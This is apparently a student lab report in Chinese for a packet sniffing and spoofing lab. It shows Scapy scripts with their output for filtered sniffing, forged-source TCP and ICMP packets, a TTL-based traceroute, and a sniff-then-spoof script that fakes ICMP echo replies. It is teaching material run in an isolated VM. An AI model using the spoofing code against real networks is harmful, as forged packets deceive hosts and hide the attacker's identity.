Packet Sniffing and Spoofing Lab

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Lab Task Set 1: Using Tools to Sniff and Spoof Packets

Task 1.1: Sniffing Packets

Task 1.1A

使用命令 if config 查看广播地址如下:

sniffer.py 测试程序代码如下:

root 权限下运行结果如下:

```
seed@VM: ~/.../volumes
                                                       Q =
[07/05/21]seed@VM:~/.../volumes$ sudo python3 sniffer.py
###[ Ethernet ]###
            = 02:42:0a:09:00:05
            = 02:42:68:ef:13:b7
 src
  type
            = IPv4
###[ IP ]###
               = 4
     version
     ihl
               = 5
               = 0x0
     tos
     len
               = 84
               = 63741
     id
     flags
               = DF
     frag
               = 0
               = 64
     ttl
               = icmp
     proto
               = 0x2d94
     chksum
     src
               = 10.9.0.1
               = 10.9.0.5
     dst
     \options
```

普通 user 权限运行结果如下,程序报错:

```
[07/05/21]seed@VM:~/.../volumes$ python3 sniffer.py
Traceback (most recent call last):
  File "sniffer.py", line 7, in <module>
    pkt = sniff(iface='br-b5d69ac66bd5', filter='icmp', prn=print
pkt)
  File "/usr/local/lib/python3.8/dist-packages/scapy/sendrecv.py",
 line 1036, in sniff
    sniffer. run(*args, **kwargs)
  File "/usr/local/lib/python3.8/dist-packages/scapy/sendrecv.py",
 line 906, in run
    sniff sockets[L2socket(type=ETH P ALL, iface=iface,
  File "/usr/local/lib/python3.8/dist-packages/scapy/arch/linux.py
", line 398, in __init_
    self.ins = socket.socket(socket.AF PACKET, socket.SOCK RAW, so
cket.htons(type)) # noqa: E501
  File "/usr/lib/python3.8/socket.py", line 231, in init
     socket.socket. init (self, family, type, proto, fileno)
PermissionError: [Errno 1] Operation not permitted
```

通过对 Trace 的观察可知,报错的原因为普通用户没有权限创建 socket 。

Task 1.1B

1) 仅捕获 ICMP 报文 filter 测试程序代码如下:

```
open 

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1#!/usr/bin/env python3

2 from scapy.all import *

3

4 def print_pkt(pkt):

5     pkt.show()

6

7 pkt = sniff(filter='icmp', prn=print_pkt)
```

运行结果如下:

```
[07/05/21]seed@VM:~/.../volumes$ sudo python3 sniffer.py
###[ Ethernet ]###
  dst
            = 02:42:0a:09:00:05
            = 02:42:58:68:66:91
  src
            = IPv4
  type
###[ IP ]###
               = 4
     version
     ihl
               = 5
     tos
               = 0 \times 0
     len
               = 84
               = 7788
     id
               = DF
     flags
               = 0
     frag
               = 64
     ttl
     proto
               = icmp
               = 0x826
     chksum
               = 10.9.0.1
     src
               = 10.9.0.5
     dst
     \options
```

2) 捕获从特定 IP 发出的,目的端口为 23 的 TCP 包 tcp_sniffer.py 代码如下:

```
open 

cp_sniffer.py

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sniffer.py

x tcp_sniffer.py

x tcp_sniffer.py

x

1 #!/usr/bin/env python3
2 from scapy.all import *
3
4 def print_pkt(pkt):
5 pkt.show()
6

7 pkt = sniff[filter='tcp and src host 10.9.0.1 and dst port 23', prn=print_pkt]
```

tcp_send.py 代码如下:

```
tcp_send.py

sniffer.py × tcp_sniffer.py × tcp_sniffer.py × tcp_send.py

1 from scapy.all import *

2 3 ip=IP()
4 ip.src='10.9.0.1'
5 ip.dst='10.9.0.5'
6 tcp=TCP()
7 tcp.dport=23
8 send (ip/tcp)
```

运行 send 后结果如下:

可见成功捕获。

```
root@VM:/volumes# python3 tcp_sniffer.py
###[ Ethernet ]###
           = 02:42:0a:09:00:05
  dst
           = 02:42:58:68:66:91
  src
  type
            = IPv4
###[ IP ]###
               = 4
     version
               = 5
     ihl
               = 0x0
     tos
     len
               = 40
               = 1
     id
     flags
              = 0
     frag
              = 64
     ttl
     proto
              = tcp
     chksum
              = 0x66b8
              = 10.9.0.1
     src
               = 10.9.0.5
     dst
     \options
```

3) 捕获从特定子网中发起或前往特定子网的报文 sniffer 代码如下:

send 代码如下:

运行 send 后结果如下:

```
[07/07/21]seed@VM:~/.../volumes$ sudo python3 subnet sniffer.py
###[ Ethernet ]###
 dst
            = 52:54:00:12:35:02
           = 08:00:27:26:f0:fe
  src
           = IPv4
  type
###[ IP ]###
              = 4
     version
               = 5
     ihl
               = 0x0
     tos
               = 20
     len
     id
               = 1
     flags
               =
              = 0
     frag
               = 64
     ttl
              = hopopt
     proto
     chksum
              = 0xedf4
               = 10.0.2.15
     src
               = 128.230.0.0
     dst
     \options
              \
```

可见成功捕获。

Task 1.2: Spoofing ICMP Packets

spoofing 代码如下:

将 ip 的 src 设置为想要伪装的源地址, dst 设置为目标的 IP 地址后,即可使用 Wireshark 查看。

运行 spoofing 代码前结果如下:

```
2021-07-05 22:3... 10.9.0.1 10.9.0.5 ICMP 42 Echo (ping) request id=0x0000, seq=0/0, ttl=64 (reply in 4) 2021-07-05 22:3... 10.9.0.5 10.9.0.1 ICMP 42 Echo (ping) reply id=0x0000, seq=0/0, ttl=64 (request in 3)
```

运行 spoofing 代码后结果如下:

可见成功伪装,可以利用此方法伪装成其他任意 ip 地址。

Task 1.3: Traceroute

使用 Scapy 来估计虚拟机与目标地址之间的路由器跳数。测试程序 traceroute 如下:

```
Open Traceroute.py

~/Desktop/Labs_20.04/Network Security/Packet Sniffing and S
 1 from scapy.all import *
 3ttl = 1
 4 while True:
 5
             a = IP()
             a.dst = '1.2.3.4'
 6
 7
             a.ttl = ttl
 8
             b = ICMP()
 9
             send(a/b)
10
             ttl += 1
```

该程序通过一个无限循环,每次将TTL递增,然后使用 Wireshark 查看:

	7 4000	D 20. D 7	M/A C/A WII COMAIN E-A.
1 2021-07-08 01:4 PcsCompu_26:f0:fe	Broadcast	ARP	42 Who has 10.0.2.2? Tell 10.0.2.15
2 2021-07-08 01:4 RealtekU_12:35:02	PcsCompu_26:f0:fe	ARP	60 10.0.2.2 is at 52:54:00:12:35:02
3 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=1 (no response f
4 2021-07-08 01:4 10.0.2.2	10.0.2.15	ICMP	70 Time-to-live exceeded (Time to live exceeded in transit)
5 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=2 (no response f
6 2021-07-08 01:4 172.20.10.1	10.0.2.15	ICMP	70 Time-to-live exceeded (Time to live exceeded in transit)
7 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=3 (no response f
8 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=4 (no response f
9 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=5 (no response f
10 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=6 (no response f
11 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=7 (no response f
12 2021-07-08 01:4 10.136.174.2	10.0.2.15	ICMP	70 Time-to-live exceeded (Time to live exceeded in transit)
13 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x00000, seq=0/0, ttl=8 (no response f
14 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=9 (no response f
15 2021-07-08 01:4 183.207.223.17	10.0.2.15	ICMP	70 Time-to-live exceeded (Time to live exceeded in transit)
16 2021-07-08 01:4 183.207.25.193	10.0.2.15	ICMP	70 Time-to-live exceeded (Time to live exceeded in transit)
17 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=10 (no response
18 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x00000, seq=0/0, ttl=11 (no response
19 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=12 (no response
20 2021-07-08 01:4 111.24.6.33	10.0.2.15	ICMP	70 Time-to-live exceeded (Time to live exceeded in transit)
21 2021-07-08 01:4 111.24.16.206	10.0.2.15	ICMP	70 Time-to-live exceeded (Time to live exceeded in transit)
22 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=13 (no response
23 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=14 (no response
24 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=15 (no response
25 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=16 (no response
26 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=17 (no response
27 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=18 (no response
28 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=19 (no response
29 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x0000, seq=0/0, ttl=20 (no response
30 2021-07-08 01:4 10.0.2.15	1.2.3.4	ICMP	42 Echo (ping) request id=0x00000, seq=0/0, ttl=21 (no response

可以观察到该过程途经的 IP 地址有: 10.0.2.2,172.30.10.1,10.136.174.2,183.207.223.17,183.207.25.193,111.24.6.33,111.24.16.206,最终到达 目的地址 1.2.3.4。

Task 1.4: Sniffing and-then Spoofing

程序代码如下:

```
Open ▼ 升
1 from scapy.all import *
3 def spoof_pkt(pkt):
4
        if ICMP in pkt and pkt[ICMP].type == 8:
5
               ip = IP(src=pkt[IP].dst, dst=pkt[IP].src, ihl=pkt[IP].ihl)
6
               icmp = ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)
7
               data = pkt[Raw].load
               newpkt = ip/icmp/data
q
               send(newpkt)
10
11 pkt = sniff(filter='icmp', prn=spoof pkt)
通过捕获 ICMP 报文,并将其源宿地址对调,并设置 ICMP 类型为 Reply ,再
发出后,就可以实现伪造。
1) 1.2.3.4
在运行本代码之前,在宿主机中 ping 1.2.3.4 :
root@a4c0db4f6b0c:/# ping 1.2.3.4
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
--- 1.2.3.4 ping statistics ---
1958 packets transmitted, 0 received, 100% packet loss, time 20
08115ms
无法 ping 通,因为这个地址是不存在的网络地址。
在虚拟机中运行上述脚本后,再次在宿主机中进行相同的操作:
root@a4c0db4f6b0c:/# ping 1.2.3.4
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
64 bytes from 1.2.3.4: icmp_seq=1 ttl=64 time=55.2 ms
64 bytes from 1.2.3.4: icmp seq=2 ttl=64 time=20.8 ms
64 bytes from 1.2.3.4: icmp seq=3 ttl=64 time=28.1 ms
64 bytes from 1.2.3.4: icmp seq=4 ttl=64 time=25.6 ms
64 bytes from 1.2.3.4: icmp seq=5 ttl=64 time=23.6 ms
64 bytes from 1.2.3.4: icmp_seq=6 ttl=64 time=20.7 ms
64 bytes from 1.2.3.4: icmp_seq=7 ttl=64 time=32.1 ms
64 bytes from 1.2.3.4: icmp seq=8 ttl=64 time=21.0 ms
64 bytes from 1.2.3.4: icmp seq=9 ttl=64 time=25.7 ms
成功 ping 通。
同时,虚拟机中出现相应的输出:
[07/08/21]seed@VM:~/.../volumes$ sudo python3 sniff spoof.py
Sent 1 packets.
```

2) 10.9.0.99

在运行本代码之前和之后, 在宿主机中 ping 10.9.0.99 : root@a4c0db4f6b0c:/# ping 10.9.0.99
PING 10.9.0.99 (10.9.0.99) 56(84) bytes of data.
From 10.9.0.5 icmp_seq=1 Destination Host Unreachable From 10.9.0.5 icmp_seq=2 Destination Host Unreachable From 10.9.0.5 icmp_seq=3 Destination Host Unreachable From 10.9.0.5 icmp_seq=4 Destination Host Unreachable From 10.9.0.5 icmp_seq=5 Destination Host Unreachable From 10.9.0.5 icmp_seq=6 Destination Host Unreachable From 10.9.0.5 icmp_seq=7 Destination Host Unreachable From 10.9.0.5 icmp_seq=8 Destination Host Unreachable From 10.9.0.5 icmp_seq=9 Destination Host Unreachable From 10.9.0.5 icmp_seq=10 Destination Host Unreachable From 10.9.0.5 icmp_seq=11 Destination Host Unreachable From 10.9.0.5 icmp_seq=12 Destination Host Unreachable

都无法 ping 通,因为这个地址是不存在的本机地址,用到 ARP 协议,不会经过路由器。

3) 8.8.8.8

```
在运行本代码之前, 在宿主机中 ping 8.8.8.8;
root@a4c0db4f6b0c:/# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=64 time=31.8 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=64 time=38.9 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=64 time=18.6 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=64 time=16.2 ms
```

在运行本代码之后, 在宿主机中 ping 8.8.8.8:

```
root@a4c0db4f6b0c:/# ping 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

64 bytes from 8.8.8.8: icmp_seq=1 ttl=64 time=23.4 ms

64 bytes from 8.8.8.8: icmp_seq=2 ttl=64 time=23.6 ms

64 bytes from 8.8.8.8: icmp_seq=3 ttl=64 time=84.5 ms

64 bytes from 8.8.8.8: icmp_seq=4 ttl=64 time=16.2 ms
```

都能 ping 通,因为是存在的主机。